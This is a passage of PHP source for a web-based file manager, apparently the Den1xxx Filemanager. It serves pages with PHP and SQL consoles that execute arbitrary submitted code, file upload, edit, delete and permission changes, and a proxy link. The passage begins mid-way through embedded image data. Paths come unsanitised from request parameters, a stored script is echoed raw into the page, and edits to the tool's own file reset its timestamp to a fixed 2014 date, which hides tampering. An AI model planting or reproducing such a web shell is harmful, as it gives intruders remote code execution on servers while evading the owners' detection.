KlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
